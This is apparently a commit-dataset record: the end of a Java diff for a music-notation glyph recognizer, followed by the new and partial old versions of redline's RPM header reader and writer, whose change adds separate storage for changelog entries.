<add> logger.finest("Suspected Stem " + glyph);
<ide> }
<ide>
<ide> SuspectedStems.add(glyph);
<ide>
<ide> // Remove these stems since nearby stems are used for recognition
<ide> for (Glyph glyph : SuspectedStems) {
<del> removeGlyph(glyph, system, /*cutSections=>*/
<del> true);
<add> builder.removeGlyph(glyph, system, /*cutSections=>*/
<add> true);
<ide> }
<ide>
<ide> // Extract brand new glyphs
<del> extractNewSystemGlyphs(system);
<add> builder.extractNewSystemGlyphs(system);
<ide>
<ide> // Try to recognize each glyph in turn
<ide> List<Glyph> symbols = new ArrayList<Glyph>();
<add>
<ide> final Evaluator evaluator = GlyphNetwork.getInstance();
<del> final double maxGrade = getCleanupMaxGrade();
<add> final double maxDoubt = getCleanupMaxDoubt();
<ide>
<ide> for (Glyph glyph : system.getGlyphs()) {
<ide> if (glyph.getShape() == null) {
<del> Evaluation vote = evaluator.vote(glyph, maxGrade);
<add> Evaluation vote = evaluator.vote(glyph, maxDoubt);
<ide>
<ide> if (vote != null) {
<ide> glyph.setShape(vote.shape, vote.doubt);
<ide>
<ide> if (glyph.isWellKnown()) {
<ide> if (logger.isFineEnabled()) {
<del> logger.fine("New symbol " + glyph);
<add> logger.finest("New symbol " + glyph);
<ide> }
<ide>
<ide> symbols.add(glyph);
<ide> if (!known) {
<ide> // Remove the newly created glyph
<ide> if (glyph != null) {
<del> removeGlyph(glyph, system, /* cutSections => */
<del> true);
<add> builder.removeGlyph(
<add> glyph,
<add> system, /* cutSections => */
<add> true);
<ide> }
<ide>
<ide> // Restore the stem
<ide> }
<ide>
<ide> // Extract brand new glyphs
<del> extractNewSystemGlyphs(system);
<add> builder.extractNewSystemGlyphs(system);
<ide>
<ide> return nb;
<ide> }
<ide>
<add> //~ Inner Interfaces -------------------------------------------------------
<add>
<add> //-----------------//
<add> // CompoundAdapter //
<add> //-----------------//
<add> /**
<add> * Interface <code>CompoundAdapter</code> provides the needed features for a
<add> * generic compound building.
<add> */
<add> public static interface CompoundAdapter
<add> {
<add> /** Extension in abscissa to look for neighbors */
<add> int getBoxDx ();
<add>
<add> /** Extension in ordinate to look for neighbors */
<add> int getBoxDy ();
<add>
<add> /**
<add> * Predicate for a glyph to be a potential part of the building (the
<add> * location criteria is handled separately)
<add> */
<add> boolean isSuitable (Glyph glyph);
<add>
<add> /** Predicate to check the success of the newly built compound */
<add> boolean isValid (Glyph compound);
<add> }
<add>
<ide> //~ Inner Classes ----------------------------------------------------------
<add>
<add> //--------------//
<add> // BasicAdapter //
<add> //--------------//
<add> /**
<add> * Class <code>BasicAdapter</code> is a CompoundAdapter meant to retrieve
<add> * all compounds (in a system). It is reusable from one candidate to the
<add> * other, by using the setSeed() method.
<add> */
<add> private class BasicAdapter
<add> implements CompoundAdapter
<add> {
<add> /** Maximum doubt for a compound */
<add> private final double maxDoubt;
<add>
<add> /** The seed being considered */
<add> private Glyph seed;
<add>
<add> /** The result of compound evaluation */
<add> private Evaluation vote;
<add>
<add> public BasicAdapter (double maxDoubt)
<add> {
<add> this.maxDoubt = maxDoubt;
<add> }
<add>
<add> @Implement(CompoundAdapter.class)
<add> public int getBoxDx ()
<add> {
<add> return sheet.getScale()
<add> .toPixels(constants.boxWiden);
<add> }
<add>
<add> @Implement(CompoundAdapter.class)
<add> public int getBoxDy ()
<add> {
<add> return sheet.getScale()
<add> .toPixels(constants.boxWiden);
<add> }
<add>
<add> public void setSeed (Glyph seed)
<add> {
<add> this.seed = seed;
<add> }
<add>
<add> @Implement(CompoundAdapter.class)
<add> public boolean isSuitable (Glyph glyph)
<add> {
<add> return !glyph.isKnown() ||
<add> (!glyph.isManualShape() &&
<add> ((glyph.getShape() == Shape.DOT) ||
<add> (glyph.getShape() == Shape.SLUR) ||
<add> (glyph.getShape() == Shape.CLUTTER) ||
<add> (glyph.getDoubt() >= getMinCompoundPartDoubt())));
<add> }
<add>
<add> @Implement(CompoundAdapter.class)
<add> public boolean isValid (Glyph compound)
<add> {
<add> vote = GlyphNetwork.getInstance()
<add> .vote(compound, maxDoubt);
<add>
<add> if (vote != null) {
<add> compound.setShape(vote.shape, vote.doubt);
<add> }
<add>
<add> return (vote != null) && vote.shape.isWellKnown() &&
<add> (vote.shape != Shape.CLUTTER) &&
<add> (!seed.isKnown() || (vote.doubt < seed.getDoubt()));
<add> }
<add>
<add> public Evaluation getVote ()
<add> {
<add> return vote;
<add> }
<add> }
<ide>
<ide> //-----------//
<ide> // Constants //
<ide> Scale.Fraction boxWiden = new Scale.Fraction(
<ide> 0.15,
<ide> "Box widening to check intersection with compound");
<del> Constant.Double cleanupMaxGrade = new Constant.Double(
<add> Constant.Double cleanupMaxDoubt = new Constant.Double(
<ide> 1.2,
<del> "Maximum grade for cleanup phase");
<del> Constant.Double leafMaxGrade = new Constant.Double(
<add> "Maximum doubt for cleanup phase");
<add> Constant.Double leafMaxDoubt = new Constant.Double(
<ide> 1.01,
<del> "Maximum acceptance grade for a leaf");
<del> Constant.Double symbolMaxGrade = new Constant.Double(
<add> "Maximum acceptance doubt for a leaf");
<add> Constant.Double symbolMaxDoubt = new Constant.Double(
<ide> 1.0001,
<ide> "Maximum doubt for a symbol");
<ide> Constant.Double minCompoundPartDoubt = new Constant.Double(
<ide> 1.020,
<del> "Minimum doubt for a compound part");
<add> "Minimum doubt for a suitable compound part");
<ide> }
<ide> } |
|
Java | mit | 8239bc51dde0f8be8026909fb83af90cbe6eee73 | 0 | joker1/redline,craigwblake/redline,craigwblake/redline,craigwblake/redline,craigwblake/redline,joker1/redline,joker1/redline,joker1/redline,craigwblake/redline | package org.redline_rpm.header;
import org.redline_rpm.Util;
import java.io.IOException;
import java.lang.reflect.Array;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.nio.channels.ReadableByteChannel;
import java.nio.channels.WritableByteChannel;
import java.nio.charset.Charset;
import java.util.Collection;
import java.util.HashMap;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.TreeMap;
public abstract class AbstractHeader {
public interface Tag {
int NULL_ENTRY = 0;
int CHAR_ENTRY = 1;
int INT8_ENTRY = 2;
int INT16_ENTRY = 3;
int INT32_ENTRY = 4;
int INT64_ENTRY = 5;
int STRING_ENTRY = 6;
int BIN_ENTRY = 7;
int STRING_ARRAY_ENTRY = 8;
int I18NSTRING_ENTRY = 9;
int ASN1_ENTRY = 10;
int OPENPGP_ENTRY = 11;
int getCode();
int getType();
String getName();
/**
* @return true if the tag's type expects an array, false otherwise.
*/
public abstract boolean isArrayType();
}
protected static final int HEADER_HEADER_SIZE = 16;
protected static final int ENTRY_SIZE = 16;
protected static final int MAGIC_WORD = 0x8EADE801;
protected final Map< Integer, Tag> tags = new HashMap< Integer, Tag>();
protected final Map< Integer, Entry< ?>> entries = new TreeMap< Integer, Entry< ?>>();
/**
* place to put the changelog entries. we can't use entries because it is a map and each changelog
* added would overwrite the previous one.
*/
protected final List<Entry< ?>> changelogs = new LinkedList<Entry< ?>>();
protected final Map< Entry< ?>, Integer> pending = new LinkedHashMap< Entry< ?>, Integer>();
protected int startPos;
protected int endPos;
protected abstract boolean pad();
/**
* Reads the entire header contents for this channel and returns the number of entries
* found.
* @param in the ReadableByteChannel to read
* @return the number read
* @throws IOException there was an IO error
*/
public int read( ReadableByteChannel in) throws IOException {
ByteBuffer header = Util.fill( in, HEADER_HEADER_SIZE);
int magic = header.getInt();
// TODO: Determine if this hack to fix mangled headers for some RPMs is really needed.
if ( magic == 0) {
header.compact();
Util.fill( in, header);
magic = header.getInt();
}
Util.check( MAGIC_WORD, magic);
header.getInt();
final ByteBuffer index = Util.fill( in, header.getInt() * ENTRY_SIZE);
final int total = header.getInt();
final int pad = pad() ? Util.round( total, 7) - total : 0;
final ByteBuffer data = Util.fill( in, total + pad);
int count = 0;
while ( index.remaining() >= ENTRY_SIZE) {
readEntry( index.getInt(), index.getInt(), index.getInt(), index.getInt(), data);
count++;
}
return count;
}
/**
* Writes this header section to the provided file at the current position and returns the
* required padding. The caller is responsible for adding the padding immediately after
* this data.
* @param out the WritableByteChannel to output to
* @return the number written
* @throws IOException there was an IO error
*/
public int write( WritableByteChannel out) throws IOException {
final ByteBuffer header = getHeader();
final ByteBuffer index = getIndex();
final ByteBuffer data = getData( index);
data.flip();
int pad = pad() ? Util.round( data.remaining(), 7) - data.remaining() : 0;
header.putInt( data.remaining());
Util.empty( out, ( ByteBuffer) header.flip());
Util.empty( out, ( ByteBuffer) index.flip());
Util.empty( out, data);
return pad;
}
public int count() {
return entries.size();
}
/**
* Memory maps the portion of the destination file that will contain the header structure
* header and advances the file channels position. The resulting buffer will be prefilled with
* the necesssary magic data and the correct index count, but will require an integer value to
* be written with the total data section size once data writing is complete.
* This method must be invoked before mapping the index or data sections.
* @return a buffer containing the header
* @throws IOException there was an IO error
*/
protected ByteBuffer getHeader() throws IOException {
ByteBuffer buffer = ByteBuffer.allocate( HEADER_HEADER_SIZE);
buffer.putInt( MAGIC_WORD);
buffer.putInt( 0);
buffer.putInt( count());
return buffer;
}
/**
* Memory maps the portion of the destination file that will contain the index structure
* header and advances the file channels position. The resulting buffer will be ready for
* writing of the entry indexes.
* This method must be invoked before mapping the data section, but after mapping the header.
* @return a buffer containing the header
* @throws IOException there was an IO error
*/
protected ByteBuffer getIndex() throws IOException {
return ByteBuffer.allocate( count() * ENTRY_SIZE);
}
/**
* Writes the data section of the file, starting at the current position which must be immediately
* after the header section. Each entry writes its corresponding index into the provided index buffer
* and then writes its data to the file channel.
* @param index ByteBuffer of the index
* @return the total number of bytes written to the data section of the file.
* @throws IOException there was an IO error
*/
protected ByteBuffer getData( final ByteBuffer index) throws IOException {
int offset = 0;
final List< ByteBuffer> buffers = new LinkedList< ByteBuffer>();
final Iterator< Integer> i = entries.keySet().iterator();
index.position( 16);
final Entry< ?> first = entries.get( i.next());
Entry< ?> entry = null;
try {
while ( i.hasNext()) {
entry = entries.get( i.next());
offset = writeData( buffers, index, entry, offset);
}
// now write the changelogs
for (Entry< ?> clentry : changelogs) {
offset = writeData(buffers, index, clentry, offset);
}
index.position( 0);
offset = writeData( buffers, index, first, offset);
index.position( index.limit());
} catch ( IllegalArgumentException e) {
throw new RuntimeException( "Error while writing '" + entry + "'.", e);
}
ByteBuffer data = ByteBuffer.allocate( offset);
for ( ByteBuffer buffer : buffers) data.put( buffer);
return data;
}
protected int writeData( final Collection< ByteBuffer> buffers, final ByteBuffer index, final Entry< ?> entry, int offset) {
final int shift = entry.getOffset( offset) - offset;
if ( shift > 0) buffers.add( ByteBuffer.allocate( shift));
offset += shift;
final int size = entry.size();
final ByteBuffer buffer = ByteBuffer.allocate( size);
entry.index( index, offset);
if ( entry.ready()) {
entry.write( buffer);
buffer.flip();
}
else pending.put( entry, offset);
buffers.add( buffer);
return offset + size;
}
public void writePending( final FileChannel channel) {
for ( Entry< ?> entry : pending.keySet()) {
try {
ByteBuffer data = ByteBuffer.allocate( entry.size());
entry.write( data);
channel.position( Lead.LEAD_SIZE + HEADER_HEADER_SIZE + count() * ENTRY_SIZE + pending.get( entry));
Util.empty( channel, ( ByteBuffer) data.flip());
}
catch ( Exception e) {
throw new RuntimeException( "Error writing pending entry '" + entry.getTag() + "'.", e);
}
}
}
public Map< Entry< ?>, Integer> getPending() {
return pending;
}
public void removeEntry( final Entry< ?> entry) {
entries.remove( entry.getTag());
}
public Entry< ?> getEntry( final Tag tag) {
return getEntry( tag.getCode());
}
public Entry< ?> getEntry( final int tag) {
return entries.get( tag);
}
@SuppressWarnings( "unchecked")
public Entry< String[]> createEntry( Tag tag, CharSequence value) {
Entry< String[]> entry = ( Entry< String[]>) createEntry( tag.getCode(), tag.getType(), 1);
entry.setValues( new String[] { value.toString()});
return entry;
}
@SuppressWarnings( "unchecked")
public Entry< int[]> createEntry( Tag tag, int value) {
Entry< int[]> entry = ( Entry< int[]>) createEntry( tag.getCode(), tag.getType(), 1);
entry.setValues( new int[] { value});
return entry;
}
@SuppressWarnings( "unchecked")
public < T> Entry< T> createEntry( Tag tag, T values) {
Entry< T> entry = ( Entry< T>) createEntry( tag.getCode(), tag.getType(), values.getClass().isArray() ? Array.getLength( values) : 1);
entry.setValues( values);
return entry;
}
@SuppressWarnings( "unchecked")
public < T> Entry< T> appendChangeLogEntry( Tag tag, T values) {
Entry< T> entry = ( Entry< T>) createChangeLogEntry( tag.getCode(), tag.getType(), values.getClass().isArray() ? Array.getLength( values) : 1);
entry.setValues( values);
return entry;
}
@SuppressWarnings( "unchecked")
public < T> Entry< T> createEntry( Tag tag, int type, T values) {
Entry< T> entry = ( Entry< T>) createEntry( tag.getCode(), type, values.getClass().isArray() ? Array.getLength( values) : 1);
entry.setValues( values);
return entry;
}
@SuppressWarnings( "unchecked")
public < T> Entry< T> createEntry( int tag, int type, T values) {
Entry< T> entry = ( Entry< T>) createEntry( tag, type, values.getClass().isArray() ? Array.getLength( values) : 1);
entry.setValues( values);
return entry;
}
/**
* Adds a pending entry to this header. This entry will have the correctly sized buffer allocated, but
* will not be written until the caller writes a value and then invokes {@link #writePending} on this
* object.
* @param tag the tag
* @param count the count
* @return the entry added
*/
public Entry< ?> addEntry( Tag tag, int count) {
return createEntry( tag.getCode(), tag.getType(), count);
}
public Entry< ?> readEntry( final int tag, final int type, final int offset, final int count, final ByteBuffer data) {
final Entry< ?> entry = createEntry( tag, type, count);
final ByteBuffer buffer = data.duplicate();
buffer.position( offset);
entry.read( buffer);
entry.setOffset( offset);
return entry;
}
public Entry< ?> createEntry( final int tag, final int type, final int count) {
final Entry< ?> entry = createEntry( type);
entry.setTag( tag);
entry.setCount( count);
entries.put( tag, entry);
return entry;
}
public Entry< ?> createChangeLogEntry( final int tag, final int type, final int count) {
final Entry< ?> entry = createEntry( type);
entry.setTag( tag);
entry.setCount( count);
changelogs.add(entry);
return entry;
}
protected Entry< ?> createEntry( int type) {
switch ( type) {
case Tag.NULL_ENTRY:
return new NullEntry();
case Tag.CHAR_ENTRY:
return new CharEntry();
case Tag.INT8_ENTRY:
return new Int8Entry();
case Tag.INT16_ENTRY:
return new Int16Entry();
case Tag.INT32_ENTRY:
return new Int32Entry();
case Tag.INT64_ENTRY:
return new Int64Entry();
case Tag.STRING_ENTRY:
return new StringEntry();
case Tag.BIN_ENTRY:
return new BinEntry();
case Tag.STRING_ARRAY_ENTRY:
return new StringArrayEntry();
case Tag.I18NSTRING_ENTRY:
return new I18NStringEntry();
default:
throw new IllegalStateException( "Unknown entry type '" + type + "'.");
}
}
public int getEndPos() {
return endPos;
}
public void setEndPos(int endPos) {
this.endPos = endPos;
}
public int getStartPos() {
return startPos;
}
public void setStartPos(int startPos) {
this.startPos = startPos;
}
public interface Entry< T> {
void setTag( int tag);
void setSize( int size);
void setCount( int count);
void setOffset( int offset);
void setValues( T values);
T getValues();
int getTag();
int getType();
int getOffset( int offset);
int size();
boolean ready();
void read( ByteBuffer buffer);
void write( ByteBuffer buffer);
void index( ByteBuffer buffer, int position);
}
public abstract class AbstractEntry< T> implements Entry< T> {
protected int size;
protected int tag;
protected int count;
protected int offset;
protected T values;
public void setTag( Tag tag) { this.tag = tag.getCode(); }
public void setTag( int tag) { this.tag = tag; }
public void setSize( int size) { this.size = size; }
public void setCount( int count) { this.count = count; }
public void setOffset( int offset) { this.offset = offset; }
/**
* Fails fast if Tag and T are not compatible.
* @param values
* @throws ClassCastException - if the type of values is not compatible with the type
* required by tag.type()
*/
protected abstract void typeCheck(T values);
/**
* @param values
* @throws ClassCastException - if the type of values is not compatible with the type
* required by tag.type()
*/
public void setValues( T values) {
if (values.getClass().isArray()) {
typeCheck(values);
}
this.values = values;
}
public T getValues() { return values; }
public int getTag() { return tag; }
public int getOffset( int offset) { return offset; }
/**
* Returns true if this entry is ready to write, indicated by the presence of
* a set of values.
* @return true if ready
*/
public boolean ready() { return values != null; }
/**
* Returns the data type of this entry.
*/
public abstract int getType();
/**
* Returns the size this entry will need in the provided data buffer to write
* it's contents, corrected for any trailing zeros to fill to a boundary.
*/
public abstract int size();
/**
* Reads this entries value from the provided buffer using the set count.
*/
public abstract void read( final ByteBuffer buffer);
/**
* Writes this entries index to the index buffer and its values to the output
* channel provided.
*/
public abstract void write( final ByteBuffer data);
/**
* Writes the index entry into the provided buffer at the current position.
*/
public void index( final ByteBuffer index, final int position) {
index.putInt( tag).putInt( getType()).putInt( position).putInt( count);
}
public String toString() {
StringBuilder builder = new StringBuilder();
if ( tags.containsKey( tag)) builder.append( tags.get( tag).getName());
else builder.append( super.toString());
builder.append( "[tag=").append( tag);
builder.append( ",type=").append( getType());
builder.append( ",count=").append( count);
builder.append( ",size=").append( size());
builder.append( ",offset=").append( offset);
builder.append( "]");
return builder.toString();
}
}
class NullEntry extends AbstractEntry< Object> {
public int getType() { return 0; }
public int size() { return 0; }
public void read( final ByteBuffer buffer) {}
public void write( final ByteBuffer data) {}
@Override
protected void typeCheck(Object values) {
return;
}
}
class CharEntry extends AbstractEntry< byte[]> {
public int getType() { return Tag.CHAR_ENTRY; }
public int size() { return count ; }
public void read( final ByteBuffer buffer) {
byte[] values = new byte[ count];
for ( int x = 0; x < count; x++) values[ x] = buffer.get();
setValues( values);
}
public void write( final ByteBuffer data) {
for ( byte c : values) data.put( c);
}
public String toString() {
StringBuilder builder = new StringBuilder( super.toString());
for ( byte c : values) builder.append( c);
builder.append( "\n\t");
return builder.toString();
}
@Override
protected void typeCheck(byte[] values) {
for ( @SuppressWarnings("unused") byte c : values) {/*intentionally do nothing*/}
}
}
class Int8Entry extends AbstractEntry< byte[]> {
public int getType() { return Tag.INT8_ENTRY; }
public int size() { return count; }
public void read( final ByteBuffer buffer) {
byte[] values = new byte[ count];
for ( int x = 0; x < count; x++) values[ x] = buffer.get();
setValues( values);
}
public void write( final ByteBuffer data) {
for ( byte b : values) data.put( b);
}
@Override
protected void typeCheck(byte[] values) {
for ( @SuppressWarnings("unused") byte c : values) {/*intentionally do nothing*/}
}
public String toString() {
StringBuilder builder = new StringBuilder( super.toString());
builder.append( "\n\t");
for ( byte b : values) builder.append( b).append( ", ");
return builder.toString();
}
}
class Int16Entry extends AbstractEntry< short[]> {
public int getOffset( int offset) { return Util.round( offset, 1); }
public int getType() { return Tag.INT16_ENTRY; }
public int size() { return count * ( Short.SIZE / 8); }
public void read( final ByteBuffer buffer) {
short[] values = new short[ count];
for ( int x = 0; x < count; x++) values[ x] = buffer.getShort();
setValues( values);
}
public void write( final ByteBuffer data) {
for ( short s : values) data.putShort( s);
}
public String toString() {
StringBuilder builder = new StringBuilder( super.toString());
builder.append( "\n\t");
for ( short s : values) builder.append( s & 0xFFFF).append( ", ");
return builder.toString();
}
@Override
protected void typeCheck(short[] values) {
for ( @SuppressWarnings("unused") short c : values) {/*intentionally do nothing*/}
}
}
class Int32Entry extends AbstractEntry< int[]> {
public int getOffset( int offset) { return Util.round( offset, 3); }
public int getType() { return Tag.INT32_ENTRY; }
public int size() { return count * ( Integer.SIZE / 8); }
public void read( final ByteBuffer buffer) {
int[] values = new int[ count];
for ( int x = 0; x < count; x++) values[ x] = buffer.getInt();
setValues( values);
}
public void write( final ByteBuffer data) {
for ( int i : values) data.putInt( i);
}
public String toString() {
StringBuilder builder = new StringBuilder( super.toString());
builder.append( "\n\t");
for ( int i : values) builder.append( i).append( ", ");
return builder.toString();
}
@Override
protected void typeCheck(int[] values) {
for ( @SuppressWarnings("unused") int c : values) {/*intentionally do nothing*/}
}
}
class Int64Entry extends AbstractEntry< long[]> {
public int getOffset( int offset) { return Util.round( offset, 7); }
public int getType() { return Tag.INT64_ENTRY; }
public int size() { return count * ( Long.SIZE / 8); }
public void read( final ByteBuffer buffer) {
long[] values = new long[ count];
for ( int x = 0; x < count; x++) values[ x] = buffer.getLong();
setValues( values);
}
public void write( final ByteBuffer data) {
for ( long l : values) data.putLong( l);
}
public String toString() {
StringBuilder builder = new StringBuilder( super.toString());
builder.append( "\n\t");
for ( long l : values) builder.append( l).append( ", ");
return builder.toString();
}
@Override
protected void typeCheck(long[] values) {
for ( @SuppressWarnings("unused") long c : values) {/*intentionally do nothing*/}
}
}
/**
* According to early documentation it should be illegal for this type of
* entry to store more than one string value, but other recent documents
* indicate that this may not longer be the case.
*/
class StringEntry extends AbstractEntry< String[]> {
public int getType() { return Tag.STRING_ENTRY; }
public int size() {
if ( size != 0) return size;
for ( String s : values) size += Charset.forName( "UTF-8").encode( s).remaining() + 1;
return size;
}
public void read( final ByteBuffer buffer) {
String[] values = new String[ count];
for ( int x = 0; x < count; x++) {
int length = 0;
while ( buffer.get( buffer.position() + length) != 0) length++;
final ByteBuffer slice = buffer.slice();
buffer.position( buffer.position() + length + 1);
slice.limit( length);
values[ x] = Charset.forName( "UTF-8").decode( slice).toString();
}
setValues( values);
}
public void write( final ByteBuffer data) {
for ( String s : values) data.put( Charset.forName( "UTF-8").encode( s)).put(( byte) 0);
}
public String toString() {
StringBuilder builder = new StringBuilder( super.toString());
if ( values != null) {
for ( String s : values) {
builder.append( "\n\t");
builder.append( s);
}
}
return builder.toString();
}
@Override
protected void typeCheck(String[] values) {
for ( @SuppressWarnings("unused") String c : values) {/*intentionally do nothing*/}
}
}
class BinEntry extends AbstractEntry< byte[]> {
public int getType() { return Tag.BIN_ENTRY; }
public int size() { return count; }
public void read( final ByteBuffer buffer) {
byte[] values = new byte[ count];
buffer.get( values);
setValues( values);
}
public void write( final ByteBuffer data) {
data.put( values);
}
public String toString() {
StringBuilder builder = new StringBuilder( super.toString());
if ( values != null) {
builder.append( "\n");
Util.dump( values, builder);
}
return builder.toString();
}
@Override
protected void typeCheck(byte[] values) {
for ( @SuppressWarnings("unused") byte c : values) {/*intentionally do nothing*/}
}
}
class StringArrayEntry extends StringEntry {
public int getType() { return Tag.STRING_ARRAY_ENTRY; }
}
class I18NStringEntry extends StringEntry {
public int getType() { return Tag.I18NSTRING_ENTRY; }
}
public String toString() {
StringBuilder builder = new StringBuilder();
builder.append( "Start Header ( ").append( getClass()).append( ")").append( "\n");
int count = 0;
for ( int tag : entries.keySet()) {
builder.append( count++).append( ": ").append( entries.get( tag)).append( "\n");
}
return builder.toString();
}
}
| src/main/java/org/redline_rpm/header/AbstractHeader.java | package org.redline_rpm.header;
import org.redline_rpm.Util;
import java.io.IOException;
import java.lang.reflect.Array;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.nio.channels.ReadableByteChannel;
import java.nio.channels.WritableByteChannel;
import java.nio.charset.Charset;
import java.util.Collection;
import java.util.HashMap;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.TreeMap;
public abstract class AbstractHeader {
public interface Tag {
int NULL_ENTRY = 0;
int CHAR_ENTRY = 1;
int INT8_ENTRY = 2;
int INT16_ENTRY = 3;
int INT32_ENTRY = 4;
int INT64_ENTRY = 5;
int STRING_ENTRY = 6;
int BIN_ENTRY = 7;
int STRING_ARRAY_ENTRY = 8;
int I18NSTRING_ENTRY = 9;
int ASN1_ENTRY = 10;
int OPENPGP_ENTRY = 11;
int getCode();
int getType();
String getName();
/**
* @return true if the tag's type expects an array, false otherwise.
*/
public abstract boolean isArrayType();
}
protected static final int HEADER_HEADER_SIZE = 16;
protected static final int ENTRY_SIZE = 16;
protected static final int MAGIC_WORD = 0x8EADE801;
protected final Map< Integer, Tag> tags = new HashMap< Integer, Tag>();
protected final Map< Integer, Entry< ?>> entries = new TreeMap< Integer, Entry< ?>>();
protected final List<Entry< ?>> changelogs = new LinkedList<Entry< ?>>();
protected final Map< Entry< ?>, Integer> pending = new LinkedHashMap< Entry< ?>, Integer>();
protected int startPos;
protected int endPos;
protected abstract boolean pad();
/**
* Reads the entire header contents for this channel and returns the number of entries
* found.
* @param in the ReadableByteChannel to read
* @return the number read
* @throws IOException there was an IO error
*/
public int read( ReadableByteChannel in) throws IOException {
ByteBuffer header = Util.fill( in, HEADER_HEADER_SIZE);
int magic = header.getInt();
// TODO: Determine if this hack to fix mangled headers for some RPMs is really needed.
if ( magic == 0) {
header.compact();
Util.fill( in, header);
magic = header.getInt();
}
Util.check( MAGIC_WORD, magic);
header.getInt();
final ByteBuffer index = Util.fill( in, header.getInt() * ENTRY_SIZE);
final int total = header.getInt();
final int pad = pad() ? Util.round( total, 7) - total : 0;
final ByteBuffer data = Util.fill( in, total + pad);
int count = 0;
while ( index.remaining() >= ENTRY_SIZE) {
readEntry( index.getInt(), index.getInt(), index.getInt(), index.getInt(), data);
count++;
}
return count;
}
/**
* Writes this header section to the provided file at the current position and returns the
* required padding. The caller is responsible for adding the padding immediately after
* this data.
* @param out the WritableByteChannel to output to
* @return the number written
* @throws IOException there was an IO error
*/
public int write( WritableByteChannel out) throws IOException {
final ByteBuffer header = getHeader();
final ByteBuffer index = getIndex();
final ByteBuffer data = getData( index);
data.flip();
int pad = pad() ? Util.round( data.remaining(), 7) - data.remaining() : 0;
header.putInt( data.remaining());
Util.empty( out, ( ByteBuffer) header.flip());
Util.empty( out, ( ByteBuffer) index.flip());
Util.empty( out, data);
return pad;
}
public int count() {
return entries.size();
}
/**
* Memory maps the portion of the destination file that will contain the header structure
* header and advances the file channels position. The resulting buffer will be prefilled with
* the necesssary magic data and the correct index count, but will require an integer value to
* be written with the total data section size once data writing is complete.
* This method must be invoked before mapping the index or data sections.
* @return a buffer containing the header
* @throws IOException there was an IO error
*/
protected ByteBuffer getHeader() throws IOException {
ByteBuffer buffer = ByteBuffer.allocate( HEADER_HEADER_SIZE);
buffer.putInt( MAGIC_WORD);
buffer.putInt( 0);
buffer.putInt( count());
return buffer;
}
/**
* Memory maps the portion of the destination file that will contain the index structure
* header and advances the file channels position. The resulting buffer will be ready for
* writing of the entry indexes.
* This method must be invoked before mapping the data section, but after mapping the header.
* @return a buffer containing the header
* @throws IOException there was an IO error
*/
protected ByteBuffer getIndex() throws IOException {
return ByteBuffer.allocate( count() * ENTRY_SIZE);
}
/**
* Writes the data section of the file, starting at the current position which must be immediately
* after the header section. Each entry writes its corresponding index into the provided index buffer
* and then writes its data to the file channel.
* @param index ByteBuffer of the index
* @return the total number of bytes written to the data section of the file.
* @throws IOException there was an IO error
*/
protected ByteBuffer getData( final ByteBuffer index) throws IOException {
int offset = 0;
final List< ByteBuffer> buffers = new LinkedList< ByteBuffer>();
final Iterator< Integer> i = entries.keySet().iterator();
index.position( 16);
final Entry< ?> first = entries.get( i.next());
Entry< ?> entry = null;
try {
while ( i.hasNext()) {
entry = entries.get( i.next());
offset = writeData( buffers, index, entry, offset);
}
index.position( 0);
offset = writeData( buffers, index, first, offset);
index.position( index.limit());
} catch ( IllegalArgumentException e) {
throw new RuntimeException( "Error while writing '" + entry + "'.", e);
}
ByteBuffer data = ByteBuffer.allocate( offset);
for ( ByteBuffer buffer : buffers) data.put( buffer);
return data;
}
protected int writeData( final Collection< ByteBuffer> buffers, final ByteBuffer index, final Entry< ?> entry, int offset) {
final int shift = entry.getOffset( offset) - offset;
if ( shift > 0) buffers.add( ByteBuffer.allocate( shift));
offset += shift;
final int size = entry.size();
final ByteBuffer buffer = ByteBuffer.allocate( size);
entry.index( index, offset);
if ( entry.ready()) {
entry.write( buffer);
buffer.flip();
}
else pending.put( entry, offset);
buffers.add( buffer);
return offset + size;
}
public void writePending( final FileChannel channel) {
for ( Entry< ?> entry : pending.keySet()) {
try {
ByteBuffer data = ByteBuffer.allocate( entry.size());
entry.write( data);
channel.position( Lead.LEAD_SIZE + HEADER_HEADER_SIZE + count() * ENTRY_SIZE + pending.get( entry));
Util.empty( channel, ( ByteBuffer) data.flip());
}
catch ( Exception e) {
throw new RuntimeException( "Error writing pending entry '" + entry.getTag() + "'.", e);
}
}
}
public Map< Entry< ?>, Integer> getPending() {
return pending;
}
public void removeEntry( final Entry< ?> entry) {
entries.remove( entry.getTag());
}
public Entry< ?> getEntry( final Tag tag) {
return getEntry( tag.getCode());
}
public Entry< ?> getEntry( final int tag) {
return entries.get( tag);
}
@SuppressWarnings( "unchecked")
public Entry< String[]> createEntry( Tag tag, CharSequence value) {
Entry< String[]> entry = ( Entry< String[]>) createEntry( tag.getCode(), tag.getType(), 1);
entry.setValues( new String[] { value.toString()});
return entry;
}
@SuppressWarnings( "unchecked")
public Entry< int[]> createEntry( Tag tag, int value) {
Entry< int[]> entry = ( Entry< int[]>) createEntry( tag.getCode(), tag.getType(), 1);
entry.setValues( new int[] { value});
return entry;
}
@SuppressWarnings( "unchecked")
public < T> Entry< T> createEntry( Tag tag, T values) {
Entry< T> entry = ( Entry< T>) createEntry( tag.getCode(), tag.getType(), values.getClass().isArray() ? Array.getLength( values) : 1);
entry.setValues( values);
return entry;
}
@SuppressWarnings( "unchecked")
public < T> Entry< T> appendChangeLogEntry( Tag tag, T values) {
Entry< T> entry = ( Entry< T>) createChangeLogEntry( tag.getCode(), tag.getType(), values.getClass().isArray() ? Array.getLength( values) : 1);
entry.setValues( values);
return entry;
}
@SuppressWarnings( "unchecked")
public < T> Entry< T> createEntry( Tag tag, int type, T values) {
Entry< T> entry = ( Entry< T>) createEntry( tag.getCode(), type, values.getClass().isArray() ? Array.getLength( values) : 1);
entry.setValues( values);
return entry;
}
@SuppressWarnings( "unchecked")
public < T> Entry< T> createEntry( int tag, int type, T values) {
Entry< T> entry = ( Entry< T>) createEntry( tag, type, values.getClass().isArray() ? Array.getLength( values) : 1);
entry.setValues( values);
return entry;
}
/**
* Adds a pending entry to this header. This entry will have the correctly sized buffer allocated, but
* will not be written until the caller writes a value and then invokes {@link #writePending} on this
* object.
* @param tag the tag
* @param count the count
* @return the entry added
*/
public Entry< ?> addEntry( Tag tag, int count) {
return createEntry( tag.getCode(), tag.getType(), count);
}
